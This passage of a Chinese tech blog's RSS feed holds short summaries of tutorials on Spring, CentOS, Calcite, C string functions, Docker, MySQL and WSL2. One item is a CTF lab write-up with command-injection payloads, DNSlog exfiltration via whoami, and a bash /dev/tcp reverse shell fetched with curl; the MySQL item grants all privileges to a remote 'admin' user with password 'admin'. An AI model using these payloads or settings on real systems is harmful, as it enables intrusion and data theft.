      <description>AxMath 输入公式的面板 缩放公式的大小: Ctrl+鼠标滚动&#xA;打开提示: \&#xA;在符号面板中移动: 逗号向前翻页 句号向后翻页&#xA;注意\后面输入东西要在英文输入法的状态下&#xA;(上述功能要确保在设置-&amp;gt;语法与快捷键中打开了启用混合语法输入)&#xA;符号面板 转换符号界面 鼠标滚动&#xA;符号面板 右键 可以设置外观, 查看某个符号的快捷键,为某个符号设置快捷键&#xA;latex编辑器 Ctrl+Tab&#xA;右侧面板 第一项: 带历史记录的剪贴板&#xA;第二项: 磁贴(经常使用的东西):选中后拖动即可制作&#xA;第三项: 参考书&#xA;最右面:参考书列表,可以在左上角自定义,写好标题后拖动即可添加&#xA;符号面板上面的一条 更改字体的格式&#xA;中文是无法更改的,英文可以&#xA;自动着色: 给公式着色&#xA;输出 保存&#xA;导出图片(清晰度会高一些，.bmp位图)&#xA;右键-&amp;gt;复制图片到剪贴板（Ctrl+Shift+c）&#xA;嵌入到word中: 直接关闭面板即可&#xA;word排版 基线对齐 四线格的第三条线&#xA;word的默认对齐形式,插入公式时:分母上的东西在字的下方&#xA;换格式:开始-&amp;gt;清除所有格式&#xA;自定义设置格式: 字体-&amp;gt;高级,位置(提高,降低)之类的&#xA;行距 插入公式之后行距不正常&#xA;更改行距: 页面布局-&amp;gt;页面设置-&amp;gt;文档网格: 无网格&#xA;公式对齐方式 在符号栏上面一排有靠左,靠右,居中对齐&#xA;连等式 符号组倒数第二个页面倒数第二行倒数第二个&#xA;如果第一个公式很长,如要输入y=a+b+c+d+e+f+g+h+i+k&#xA;可以y(那个符号)=(再次输入那个符号)你会看到惊喜&#xA;矩阵 元素的对齐:创建矩阵后右键&#xA;计算功能 设置-&amp;gt;计算器-&amp;gt;以底色标识计算结果(仅仅在编辑时显式)&#xA;​ -&amp;gt;常数,可以增加常数&#xA;如果是角度,一定要加上符号&#xA;输出结果-&amp;gt;右键可以设置结果格式&#xA;说明:&#xA;科学计数法使用数学上的写法无法识别3E8或者3e8定义的变量与常数重名,变量优先幂指函数和复合角标 不支持A,支持C(排列组合)可以利用上标-1计算反函数(要换行) word Axmath标签里的内容 右编号公式: 右边有编号(论文会用到)</description>
    </item>
    <item>
      <title>【Spring】Spring教程入门到精通</title>
      <link>https://bchobby.github.io/posts/7b88ea27abd01bb076f835a656859778/</link>
      <pubDate>Sun, 25 Sep 2022 20:16:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b88ea27abd01bb076f835a656859778/</guid>
      <description>文章目录 1.前言2.Spring2.1 Spring的优点2.2 Spring下载配置 3.IOC3.1 IOC的处理过程3.2 IOC底层原理3.3 IOC接口3.4 IOC操作Bean管理（普通bean)3.5 IOC操作Bean管理（工厂bean)3.6 IOC操作Bean管理（bean作用域）3.7 IOC操作Bean管理（bean生命周期）3.8 IOC操作Bean管理（xml自动装配）3.9 IOC操作Bean管理（外部属性文件） 4. AOP4.1 底层原理4.2 jdk动态代理4.3 相关术语4.4 准备工作4.5 AspectJ注解操作4.6 AspectJ配置文件 5. JdbcTemplate5.1 数据库添加5.2 数据库修改与删除5.3 数据库查询5.4 数据库批量操作 6. 事务6.1 入门例子6.2 事务操作 1.前言 本文是在看了b站的尚硅谷视频&#xA;总结出来的笔记以及见解&#xA;视频如下：&#xA;尚硅谷Spring5框架教程（idea版）&#xA;或者&#xA;2020最新Spring框架教程【IDEA版】-Spring框架从入门到精通&#xA;源代码如下：&#xA;spring从入门到精通的实例代码.rar&#xA;轻量级开源的JAVAEE框架&#xA;可以解决企业复杂的应用&#xA;拥有IOC，AOP两个核心部分&#xA;可结合这篇文章进行大概的了解这篇文章主要的框架&#xA;不容易遗忘，有个spring的思路点以及启发点&#xA;Spring框架梳理总结（适合多刷）&#xA;2.Spring 2.1 Spring的优点 IOC方便解耦，简便开发&#xA;AOP不改变源代码，增加其功能&#xA;方便程序测试&#xA;方便其他程序的整合&#xA;降低API的开发难度&#xA;2.2 Spring下载配置 下载Spring5 下载GA版本（稳定版本）&#xA;下载的网址为：https://repo.spring.io/release/org/springframework/spring/&#xA;下载之后压缩&#xA;libs内是jar包&#xA;导入spring包&#xA;3.IOC 3.1 IOC的处理过程 (1)IOC底层原理&#xA;(2) IOC接口(BeanFactory)</description>
    </item>
    <item>
      <title>window11上Linux环境搭建</title>
      <link>https://bchobby.github.io/posts/78230b52a7468afe214b855c89dab89c/</link>
      <pubDate>Sun, 25 Sep 2022 17:27:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78230b52a7468afe214b855c89dab89c/</guid>
      <description>#以下的大部分图片来自网上，本人在操作过程中忘记截图记录了，但是发出来的这些和我做的是一模一样的！！&#xA;一、点击下载centOS7镜像&#xA;centos-7.9.2009-isos-x86_64安装包下载_开源镜像站-阿里云 (aliyun.com)&#xA;推荐下载CentOS-7-x86_64-DVD-2009.iso 标准安装版&#xA;————————————————&#xA;各个版本的ISO镜像文件说明：&#xA;CentOS-7-x86_64-DVD-1708.iso 标准安装版（推荐）&#xA;CentOS-7-x86_64-Everything-1708.iso 完整版，集成所有软件（以用来补充系统的软件或者填充本地镜像）&#xA;CentOS-7-x86_64-LiveGNOME-1708.iso GNOME桌面版&#xA;CentOS-7-x86_64-LiveKDE-1708.iso KDE桌面版&#xA;CentOS-7-x86_64-Minimal-1708.iso 精简版，自带的软件最少&#xA;CentOS-7-x86_64-NetInstall-1708.iso 网络安装版（从网络安装或者救援系统）&#xA;————————————————&#xA;下载速度太慢的话可以放在迅雷里面下载！！复制下载链接到迅雷中就可以了。&#xA;二、下载VMware&#xA;下载过程中可以同时下载VMwareWindows 虚拟机 | Workstation Pro | VMware | CN&#xA;点击链接下载试用版就可以了 第一步：下载完成后安装，安装路径自己可以更改 第二步：许可证的密钥可以自己去网上搜&#xA;第三步：安装完成后选择创建新的虚拟机&#xA;第四步：选择自定义 第五步：选择稍后安装 ，下一步&#xA;第六步：点击Linux,版本选CentOS 7 64位&#xA;第七步：输入虚拟机名称（名字自定义）和安装路径 （可以更改）&#xA;第八步：设置磁盘大小，这里选择默认配置20G&#xA;第九步：自定义硬件&#xA;第十步：选择CentOS安装镜像文件&#xA;镜像选择刚才下载的CentOS7&#xA;第十一步：点击完成&#xA;三、进行初始化配置&#xA;第1步：启动虚拟机 第2步：选择第一项，Install CentOS 7，时间有点长&#xA;继续等待，按任意键继续&#xA;第3步：选择语言，这里选择的是中文简体&#xA;第4步：进行安装信息的配置，选择安装位置 第5步：进行设置目标位置，配置分区&#xA;第6步：选择自动创建它们，然后进行分区设置，这里选择默认配置，也可以安装自己的需求自定义设置。&#xA;第7步： 设置好之后完成，保存接收更改&#xA;第8步： 选择网络和主机名点击打开&#xA;第9步： 安装位置与网络都已配置好，开始安装&#xA;第10步：系统安装的同时，设置root账户的密码，密码很重要，要记住！ 第11步：等待一会儿，安装完成，重启设备&#xA;第13步：安装完成，可以开始使用啦！</description>
    </item>
    <item>
      <title>calcite 启发式优化器(HepPlanner)原理与自定义优化规则实现</title>
      <link>https://bchobby.github.io/posts/a291d953c7ce255a9e17b8a8190eb06f/</link>
      <pubDate>Sun, 25 Sep 2022 17:07:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a291d953c7ce255a9e17b8a8190eb06f/</guid>
      <description>文章目录 HepPlanner思考🤔流程规则规则定义定义匹配实现转换方法 核心代码分析生成有向无环图findBestExp应用规则 示例示例1(FilterMergeRule 规则)代码直接转换输出 示例2(FILTER_INTO_JOIN规则)代码直接转换输出 总结 HepPlanner HepPlanner是基于RBO 模型的一种优化器，单纯基于规则，对关系代数进行优化&#xA;思考🤔 AST 转换为RelNode,其实是一个树形结构，再由RelNode 生成执行计划，给人的第一感觉，如果要加速查询的话，也就是去优化这个树结构的执行顺序，很直接就会想到在树中根据规则去优化，这里的规则要表明，目标要优化哪种结构的子树。以下图2为例，对于两个连续的Filter 所表示的子树可以进行优化，合并为一个。&#xA;流程 规则 规则定义 以FilterMergeRule 规则为例，此规则是把多个Filter 进行合并&#xA;定义匹配 从代码中能看出来匹配规则是filterClass 的输入是filterClass，相当于连续两个过滤条件&#xA;实现转换方法 转换做法，把底下一个Filter的输入 压入栈中，再把两个Filter一起压入栈中&#xA;@Override public void onMatch(RelOptRuleCall call) { final Filter topFilter = call.rel(0); final Filter bottomFilter = call.rel(1); //示例如何重写计划 final RelBuilder relBuilder = call.builder(); relBuilder.push(bottomFilter.getInput()) .filter(bottomFilter.getCondition(), topFilter.getCondition()); call.transformTo(relBuilder.build()); } /** Rule configuration. */ @Value.Immutable public interface Config extends RelRule.Config { Config DEFAULT = ImmutableFilterMergeRule.Config.of() .</description>
    </item>
    <item>
      <title>安鸾靶场之命令代码执行实操</title>
      <link>https://bchobby.github.io/posts/fe9f040381f84f675d9b2f4382474368/</link>
      <pubDate>Sun, 25 Sep 2022 16:08:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe9f040381f84f675d9b2f4382474368/</guid>
      <description>webshell&amp;amp;中国菜刀 题目URL：http://47.100.220.113:8013&#xA;提示：flag在数据库里&#xA;首先访问一下网址，页面直接显示了webshell的URL地址，还给出了密码&#xA;那我们就直接上菜刀了，进来发现网站目录下有四个文件，有一个conn.php文件，我们打开看一下&#xA;直接就看到了数据库名，用户名及密码，那我们返回来在菜刀连接界面添加上数据库的信息&#xA;进入数据库，很容易就找到了flag，输入sql查询语句就可以查看&#xA;select id,flag from webshell.this_flag 命令执行01 题目URL:http://47.100.220.113:8031/&#xA;可预测代码内容为 tar -czvf $_POST[‘name’]&#xA;我们来测试下bakup.tar.gz;ls&#xA;发现并无回显，我们无法判定是否有命令执行，这时我们就要借助dnslog平台了&#xA;DNSlog就是在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候就可以通过这种&#xA;方式把想获得的数据外带出来。&#xA;DNSlog平台网址：http://dnslog.cn/&#xA;backup.tar.gz;ping -c 4 `whoami`.ke2eqm.dnslog.cn 知道有命令执行漏洞了，就好办了，以下列出两种方法供参考&#xA;第一种方法：写木马&#xA;#1、先在云服务器上编写反弹脚本 vim fantan.sh bash -i &amp;gt;&amp;amp; /dev/tcp/yourip/port 0&amp;gt;&amp;amp;1 #2、云服务器监听端口 nc -lvvnp 3456 #3、下载反弹脚本并执行 backup.tar.gz;curl -O http://yourip:port/fantan.sh;bash fantan.sh 第二种方法：反弹shell&#xA;#1、先在云服务器上编写反弹脚本 vim fantan.sh bash -i &amp;gt;&amp;amp; /dev/tcp/yourip/port 0&amp;gt;&amp;amp;1 #2、云服务器监听端口 nc -lvvnp 3456 #3、下载反弹脚本并执行 backup.tar.gz;curl -O http://yourip:port/fantan.sh;bash fantan.sh 破壳漏洞 CVE编号：CVE-2014-6271&#xA;题目URL：http://118.190.133.35:8029/cgi-bin/poc.cgi&#xA;提示：flag在服务器根目录&#xA;2014年9月25日，外媒曝出一个广泛存在于主流操作系统的漏洞bash，该漏洞会影响到Redhat、CentOS、Ubuntu、Debian、Fedora 、AmazonLinux、OS X 10.</description>
    </item>
    <item>
      <title>strncpy、strncat、strncmp函数的使用说明和模拟实现</title>
      <link>https://bchobby.github.io/posts/6dbae4b7e2f8d6e6c39b6c20813ff801/</link>
      <pubDate>Sun, 25 Sep 2022 13:26:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dbae4b7e2f8d6e6c39b6c20813ff801/</guid>
      <description>在前面的文章中，我已经介绍了长度不受限制的字符串函数。今天我来介绍几个长度受限制的字符串函数，并且模拟实现这些长度受限制的字符串函数。&#xA;目录 strncpy函数strncat函数strncmp函数 strncpy函数 strncpy函数也是一个拷贝函数，但是与strcpy函数有所不同，strncpy函数是从源字符串拷贝num个字符到目标字符串，num是strncpy函数的一个参数，当源字符串的字符数目小于num时，在拷贝完源字符串后，会在目标字符串中追加0，直到达到num的数目。&#xA;由msdn查询可以得知，strncpy函数的返回值和参数是:&#xA;char* strncpy(char* destination，const char* source，size_t num)。注意我们只关注返回类型和参数的类型，参数的名字不管。&#xA;接着，继续往下查询strncpy函数的返回值。&#xA;由msdn对strncpy的返回值的介绍可知，strncpy函数返回目标字符串的地址。&#xA;接下来，我来举一个strncpy函数的使用例子。&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; int main() { char arr1[20] = &#34;abcdef&#34;; char arr2[] = &#34;xxxxxx&#34;; printf(&#34;%s\n&#34;,strncpy(arr1,arr2,5)); return 0; } 由运行结果可以知道，strncpy函数确实从源字符串拷贝num个字符到目标字符串。&#xA;接下来，我来验证一下strncpy函数的拷贝过程中，源字符串达不到num个字符，那么就会在拷贝完源字符串后，在目标字符串后面补0，直到达到num个字符。&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; int main() { char arr1[20] = &#34;abcdefhij&#34;; char arr2[] = &#34;xxxx&#34;; printf(&#34;%s\n&#34;,strncpy(arr1,arr2,8)); return 0; } 在strncpy函数拷贝前，arr1的内容如下：&#xA;在strncpy函数拷贝后，arr1的内容如下:&#xA;在该程序中，arr2中有4个字符，而strncpy函数却要从arr2中拷贝8个字符到arr1，按照源字符串不足拷贝时，要在源字符串拷贝后补0，那么就要补4个0。由图片可以得知，arr1确实被覆盖了arr1的内容和4个0。&#xA;接下来，我来实现strncpy函数的模拟实现。&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;assert.h&amp;gt; #include&amp;lt;string.h&amp;gt; char* my_strncpy(char* dest,const char* src,size_t len) { char* ret = dest; int offset = 0; assert(dest !</description>
    </item>
    <item>
      <title>数电基础知识——原码、反码、补码</title>
      <link>https://bchobby.github.io/posts/b23bee49b36656ca7bb0ba60247cab11/</link>
      <pubDate>Sat, 24 Sep 2022 20:25:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b23bee49b36656ca7bb0ba60247cab11/</guid>
      <description>#补码 #数电基础知识&#xA;个人理解&#xA;补码的来源：&#xA;例子：如果对于调整钟表时间来说，假设现在为5点，调整为十点，可以选择顺时针增加五，也可选择逆时针增加7。&#xA;这时，-7则可以看作5相对于12的补码.&#xA;原码计算：&#xA;1011-0111=0100&#xA;可以换位&#xA;1011+1001=0100&#xA;1001和0111是对16的补码&#xA;反码：&#xA;当原码为正数时，反码仍为本身&#xA;当原码为负数时，符号位不变，其余位取反&#xA;对有效数字的补码和原码之间的运算是：</description>
    </item>
    <item>
      <title>spring boot项目server.tomcat.max-threads配置失效问题</title>
      <link>https://bchobby.github.io/posts/df8a4ab834078ae67fa7cce142705c22/</link>
      <pubDate>Sat, 24 Sep 2022 20:16:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df8a4ab834078ae67fa7cce142705c22/</guid>
      <description>问题描述：&#xA;我们都知道，在一个spring boot项目中，我们的tomcat服务器启动以后，默认是以线程池的方式去循环利用线程的，那么如果我们想设置服务启动以后，始终以一个执行不同的请求，不同的任务，那么网上的说法就是配置tomcat服务器最大线程数server.tomcat.max-threads=1；然后我就配置了这个参数试一下&#xA;测试情况：&#xA;配置文件增加配置`server.tomcat.max-threads=1&#xA;第一次请求：&#xA;`&#xA;第二次请求：&#xA;很明显，两次请求执行的线程名字不一样，那么在tomcat线程池中，至少存在两个线程；所以server.tomcat.max-threads配置失效&#xA;查了资料以后发现spring 2.3版本以后不能再使用server.tomcat.max-threads了，我的项目用的是spring 2.6.7，所以没有生效，要使用server.tomcat.threads.max=1。&#xA;修改配置以后重启服务：&#xA;第一次请求：&#xA;第二次请求：&#xA;说明已经生效。</description>
    </item>
    <item>
      <title>10208 - 简易计算器</title>
      <link>https://bchobby.github.io/posts/263e15379ca287f8ecd138d6650aa9a4/</link>
      <pubDate>Sat, 24 Sep 2022 20:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/263e15379ca287f8ecd138d6650aa9a4/</guid>
      <description>编写一个简易计算器程序。用户输入运算数和四则运算符，输出计算结果。 输入 输入格式如下&#xA;运算数1 运算符 运算数2&#xA;输出 输出计算结果。&#xA;样例 输入&#xA;11 * 3 输出&#xA;33 输入&#xA;60 / 5 输出&#xA;12 提示 数据范围：输入数据和输出数据均为正整数；&#xA;除法运算结果定为整数取商。&#xA;时间限制1000 毫秒内存限制128 MB 简易计算器只有‘+’，‘-’，‘*’，‘/’。所以只需要用一个多分支语句即可。&#xA;解析：&#xA;#include&amp;lt;bits/stdc++.h&amp;gt;&#xA;using namespace std;&#xA;int main()&#xA;{&#xA;int n,m,l;&#xA;char s;&#xA;cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; s &amp;gt;&amp;gt; m;&#xA;if(s == &#39;+&#39;) l = n + m;&#xA;if(s == &#39;-&#39;) l = n - m;&#xA;if(s == &#39;*&#39;) l = n * m;</description>
    </item>
    <item>
      <title>StarUML工具</title>
      <link>https://bchobby.github.io/posts/3e72b2318e47981fd87fe78de75cf133/</link>
      <pubDate>Sat, 24 Sep 2022 19:01:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e72b2318e47981fd87fe78de75cf133/</guid>
      <description>StarUML工具 1、提示弹框Unregistered Version StartUML一直提示Unregistered Version解决&#xA;2、网格背景\白色背景 切换 快捷键：CTRL+G&#xA;3、DevTools设置中文 打开DevTools，点击右上角设置图片，preferences中Language设置（Version 5.0.2）；没有看到StarUML里面有设置的地方了</description>
    </item>
    <item>
      <title>stm32之printf函数</title>
      <link>https://bchobby.github.io/posts/344c1137d2e2a691109db195af2f1b98/</link>
      <pubDate>Sat, 24 Sep 2022 17:20:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/344c1137d2e2a691109db195af2f1b98/</guid>
      <description>1.函数 printf，这个函数，学过c语言的同学都知道，这个函数会帮我们将数据输出到终端上面。&#xA;在stm32里面，我们没有屏幕终端，那这个函数是输出到哪里？有同学说到串口，其实这是可以的，不管输出到哪里，主要看我们怎么实现int fputc(int ch, FILE *f)；这个函数，printf最后还是这个函数，在这个函数里面我们可以设置我们的输出的地方，比如uart通信的输出寄存器，显示屏的显示寄存器，或者是蓝牙，wifi的都可以。下面给的是uart协议的输出。&#xA;//重定义fputc函数 int fputc(int ch, FILE *f) { while((USART1-&amp;gt;SR&amp;amp;0X40)==0);//循环发送,直到发送完毕 USART1-&amp;gt;DR = (u8) ch; return ch; } 所以，这个函数具体是什么怎么用，我们都知道了，这样我们就很清楚数据的流向了，搞底层的需要清楚一点。</description>
    </item>
    <item>
      <title>关于SSM的家具购物系统的设计答辩问题合集</title>
      <link>https://bchobby.github.io/posts/bc9d0b9bf13f3807b554c394155101c3/</link>
      <pubDate>Sat, 24 Sep 2022 17:19:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc9d0b9bf13f3807b554c394155101c3/</guid>
      <description>答辩老师常问问题合集&#xA;7、论文的主要研究方法是什么？（方法名称＋实际案例运用）&#xA;本文主要运用了专业的×××方法（调查法，深度访谈法，文献法），针对×××展开研究，在得到×××数据的基础上，通过构建×××模型和×××情景，得到了×××结果，并以具体的×××例子展开应用，得到较好的应用结果。&#xA;8、论文有什么不足之处？&#xA;一是在×××方面论述的不够详尽，对于×××没有提及。&#xA;二是本文采用了×××、×××方法，但对于×××专业特有的方法运用不够。&#xA;9、论文是否具有可行性？&#xA;论文是具有可行性的，本文研究×××问题是为了在×××方面有所应用，并通过×××具体案例证实了在×××方面具有可行性。&#xA;10、论文数据来源是哪里，数据样本是什么？&#xA;本文的数据主要来自×××问卷调查或×××官网网站，参考×××论文中的部分数据，按照×××方法对×××数据进行筛选，并应用×××软件对×××进行剔除，得到了本文×××的样本，后续采用×××方法进行研究。&#xA;11、论文中相关定义的解释，理论解释？&#xA;要求你掌握本文研究中重点的一些概念及定义。有一些概率可以做一些生活中的举例来加深记忆。回答的时候也可以根据定义来加以拓展，比如：老师，这个问题我是这样理解的，以生活中的案例来举例，×××概念就好比×××中的××××，对×××是非常重要的。&#xA;12论文参考了哪些重要的文献？&#xA;本论文参考了×××（作者姓名）所撰写的×××（论文）题目，论文中介绍了×××理论，解决了×××问题，本文借鉴了相应的方法，对相关的方法进行了改进，不同之处在于×××，因此提高了×××精读，更加的方便快捷。&#xA;13、论文得到了哪些重要的结论？&#xA;论文对×××问题展开研究。得到的结论有：&#xA;一是对×××方法进行了改进，因此提升了准确度。&#xA;二是目前该领域对×××问题的研究甚少，本文的研究对于丰富×××理论起到了重要的意义。&#xA;三是本文的理论应用于实际中标明，本文对提升×××方面的问题具有重要的意义，具有一定的推广价值。</description>
    </item>
    <item>
      <title>如何实现mysql的远程连接</title>
      <link>https://bchobby.github.io/posts/b33bdd41c1b44eadce07bfe25551a52a/</link>
      <pubDate>Sat, 24 Sep 2022 15:32:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b33bdd41c1b44eadce07bfe25551a52a/</guid>
      <description>如何实现mysql的远程连接 总览细致讲解1、mysql数据库允许外部客服端访问2、服务端主机打开mysql连接的防火墙端口3、用户名和密码正确，测试连接其他问题 总览 1、服务端主机打开mysql连接的防火墙端口&#xA;2、mysql数据库允许外部客服端访问&#xA;3、用户名和密码正确&#xA;4、顺利连接&#xA;细致讲解 1、mysql数据库允许外部客服端访问 原来Mysql默认是不可以通过远程机器访问，检查自己的数据库是否如下图。（图中才是允许外部访问的）&#xA;设置步骤：&#xA;mysql&amp;gt; GRANT ALL ON *.* TO admin@&#39;%&#39; IDENTIFIED BY &#39;admin&#39; WITH GRANT OPTION; Query OK, 0 rows affected (0.01 sec) mysql&amp;gt; select user,host from mysql.user; +-------+------+ | user | host | +-------+------+ | admin | % | | root | % | +-------+------+ 2 rows in set (0.01 sec) #这是在确认权限修改成功 mysql&amp;gt; flush privileges; Query OK, 0 rows affected (0.</description>
    </item>
    <item>
      <title>docker容器设置和取消自启动的方法</title>
      <link>https://bchobby.github.io/posts/9523d438c0ad811d5a9e6df68d1b7509/</link>
      <pubDate>Sat, 24 Sep 2022 15:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9523d438c0ad811d5a9e6df68d1b7509/</guid>
      <description> 命令 说明 docker inspect 容器名称 | grep &#34;RestartPolicy&#34; -A 3 查看指定容器的自启动配置 no：不自动重启 on-failure：容器错误退出则自动重启 always：容器停止则自动重启，手动停止后将在docker守护程序重启后自动重启 unless-stopped：除了当容器停止（手动或其他方式）时，即使在Docker守护程序重新启动后也不会重新启动容器 docker update --restart=always 容器名称 开启指定容器自启动 docker update --restart=no 容器名称 关闭指定容器自启动 查看容器“zabbix-server-mysql”当前自启动配置状态 关闭容器“zabbix-server-mysql”的自启动配置 再次查看容器“zabbix-server-mysql”当前自启动配置状态 </description>
    </item>
    <item>
      <title>matlab彩色图像的R、G、B三个分量以灰色和彩色的形式显示</title>
      <link>https://bchobby.github.io/posts/e69535a1f5028bc86b52407dee009cda/</link>
      <pubDate>Sat, 24 Sep 2022 12:14:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e69535a1f5028bc86b52407dee009cda/</guid>
      <description> RGB 是最常用于显示器的色彩空间，R(red)是红色通道，G(green)是绿色，B(blue)是蓝色通道。这三种颜色以不同的量进行叠加，就可以显示出五彩缤纷的色彩。&#xA;RGB图像由格式为M×N×３的三维数组组成，其中的“3”可以理解为三幅M×N的二维图像（灰度值图像）。这三幅图像分别代表R、G、B分量，每个分量的像素点取值范围是[0,255]。RGB 格式里(0,0,0)代表着黑色，(255,255,255)代表着白色。R channel数值越高，说明颜色中含有的红色分量越多。&#xA;两种方法如下：&#xA;（1）灰度值法&#xA;clc;%clc的作用就是清屏幕 clear;%clear是删除所有的变量 close all;%close all是将所有打开的图片关掉。 image=imread(&#39;E:\我的桌面\MATLAB\练习\2.jpg&#39;);%绝对路径的 R=image(:,:,1); G=image(:,:,2); B=image(:,:,3); subplot(221);imshow(image);title(&#39;原图像&#39;) subplot(222);imshow(R);title(&#39;R通道&#39;) subplot(223);imshow(G);title(&#39;G通道&#39;) subplot(224);imshow(B);title(&#39;B通道&#39;) （2）彩色显示法&#xA;clc;%clc的作用就是清屏幕 clear;%clear是删除所有的变量 close all;%close all是将所有打开的图片关掉。 f=imread(&#39;E:\我的桌面\MATLAB\练习\2.jpg&#39;); R=f(:,:,1); %获取红色分量 G=f(:,:,2); %获取绿色分量 B=f(:,:,3); %获取蓝色分量 f1=f; %红色通道图片 f1(:,:,1)=R; f1(:,:,2)=0; f1(:,:,3)=0; f2=f; %绿色通道图片 f2(:,:,1)=0; f2(:,:,2)=G; f2(:,:,3)=0; f3=f; %蓝色通道图片 f3(:,:,1)=0; f3(:,:,2)=0; f3(:,:,3)=B; subplot(2,2,1);imshow(f);title(&#39;原图像&#39;); subplot(2,2,2);imshow(f1);title(&#39;红色&#39;); subplot(2,2,3);imshow(f2);title(&#39;绿色&#39;); subplot(2,2,4);imshow(f3);title(&#39;蓝色&#39;); </description>
    </item>
    <item>
      <title>datart在windows的源码部署</title>
      <link>https://bchobby.github.io/posts/291fa34b3957bb189172c8cf11a6e225/</link>
      <pubDate>Fri, 23 Sep 2022 23:54:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/291fa34b3957bb189172c8cf11a6e225/</guid>
      <description>datart在windows的源码部署 IDEA克隆master分支编译Parser.jj安装javaCC插件编译项目创建mysql数据库修改后端配置启动后端 启动前端登录页面 参考这篇微博：【datart】数据可视化工具datart在IDEA中进行代码调试&#xA;IDEA克隆master分支 https://gitee.com/running-elephant/datart.git 编译Parser.jj Parser.jj的路径：data-providers/data-provider-base/src/main/java/codegen/Parser.jj&#xA;由于datart-master的项目中有.jj文件，属于javacc的编译文件，所以在构建的时候会有一些报错，主要在SqlParserUtils.java中找不到SqlParserImpl的实现类&#xA;codegen/Parser.jj的文件需要使用javacc编译之后才能生成一堆的跟SqlParser相关的java类&#xA;安装javaCC插件 在IDEA的插件市场安装javaCC&#xA;编译项目 maven clean maven install 创建mysql数据库 CREATE DATABASE `datart` CHARACTER SET &#39;utf8&#39; COLLATE &#39;utf8_general_ci&#39;; 修改后端配置 注意配置文件位置，不像发行版上的部署步骤配置config/datart.conf&#xA;请修改serve模块下的配置文件server/target/classes/application-demo.yml&#xA;spring: datasource: # driver-class-name: org.h2.Driver # type: com.alibaba.druid.pool.DruidDataSource # url: jdbc:h2:file:./bin/h2/datart.demo;MODE=MySQL;DATABASE_TO_LOWER=TRUE;IGNORECASE=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;IFEXISTS=TRUE # username: # password: driver-class-name: com.mysql.cj.jdbc.Driver type: com.alibaba.druid.pool.DruidDataSource url: jdbc:mysql://127.0.0.1:3306/datart?allowMultiQueries=true&amp;amp;characterEncoding=utf-8&amp;amp;useUnicode=true username: root password: root 如果只配置datart.conf的信息，当前后端都启动后，当登录页面点击登录后会报404错误&#xA;启动后端 启动应用，路径：server/src/main/java/datart/DatartServerApplication.java&#xA;启动前端 主要使用 npm install 进行项目构建、安装组件，&#xA;没有问题之后使用 npm start 进行启动，&#xA;默认端口为：3000&#xA;登录页面 http://localhost:3000/</description>
    </item>
    <item>
      <title>SpringBoot多模块打包瘦身分离</title>
      <link>https://bchobby.github.io/posts/fe50a66686c9520b04f3d4127fe7f4a2/</link>
      <pubDate>Fri, 23 Sep 2022 17:13:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe50a66686c9520b04f3d4127fe7f4a2/</guid>
      <description>写的很完美了，跟实际情况差不多&#xA;参考资料</description>
    </item>
    <item>
      <title>WSL2的安装与使用-Windows与Linux双系统的新选择</title>
      <link>https://bchobby.github.io/posts/e0795a9fca281a8d3e82aee8291ae5d1/</link>
      <pubDate>Fri, 23 Sep 2022 16:11:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0795a9fca281a8d3e82aee8291ae5d1/</guid>
      <description>文章目录 WSL2的安装与使用-Windows与Linux双系统的新选择1. WSL是什么2. 为什么会有WSL3. 为要选择WSL2作为开发环境3.1 WSL与WSL2有什么区别3.2 Windows与Linux系统的抉择 4. WSL2的安装4.1 安装条件4.2 启用所需Windows功能4.3 设置默认WSL版本4.4 安装Linux发行版4.5 打开Linux发行版4.6 导出与导入Linux发行版 5. WSL2的使用5.1 文件操作5.2 Linux子系统的配置5.3 使用VScode连接到WSL25.4 使用Pycharm连接到WSL2 6. 总结 WSL2的安装与使用-Windows与Linux双系统的新选择 既要使用Windows系统满足日常生活，协作办公，又要使用Linux系统满足开发工作，双系统来回重启好麻烦，双主机成本高，远程服务器好多限制，WSL也许是更好的解决方案，可以摆脱以上困扰&#xA;1. WSL是什么 WSL全称Windows Subsystem for Linux，适用于Linux的Windows子系统&#xA;WSL就是Windows系统下的一个Linux子系统，可以像一个应用一样安装在Windows系统中，为在Windows系统下进行开发的人员提供基于Linux系统的开发环境，并且可以选择不同Linux发行版本，拥有与原生Linux系统相同的大部分功能&#xA;微软对WSL描述为：适用于 Linux 的 Windows 子系统可让开发人员按原样运行 GNU/Linux 环境 - 包括大多数命令行工具、实用工具和应用程序 - 且不会产生传统虚拟机或双启动设置开销&#xA;2. 为什么会有WSL 在通用计算机系统领域Windows拥有着无法撼动的地位，但是Linux具有免费、开源、高安全性、高可用性等特点，在服务器、嵌入式开发、软件开发等领域中，Linux仍是主流的选择。虽然Linux系统拥有诸多优点，但是大部分人日常生活的使用还是无法脱离Windows系统，所以有不少人更多是日常生活用Windows，开发工作用Linux&#xA;微软现任CEO纳德拉上任以来开始拥抱开源，微软一度成为开源项目最大贡献者，在收购GitHub之后，又推出了一系列开源产品，如VScode、TypeScript等&#xA;微软在2018年发布了WSL，在2019发布了WSL2，作为一个重要的升级，大大增加了文件系统的性能，增加了对全系统调用兼容性的支持，增加了对使用基于 GUI 的 Linux 应用程序的支持。目前，Windows Server 2022已支持WSL2 Linux发行版，也代表WSL2现在已经覆盖了Windows Desktop和Windows 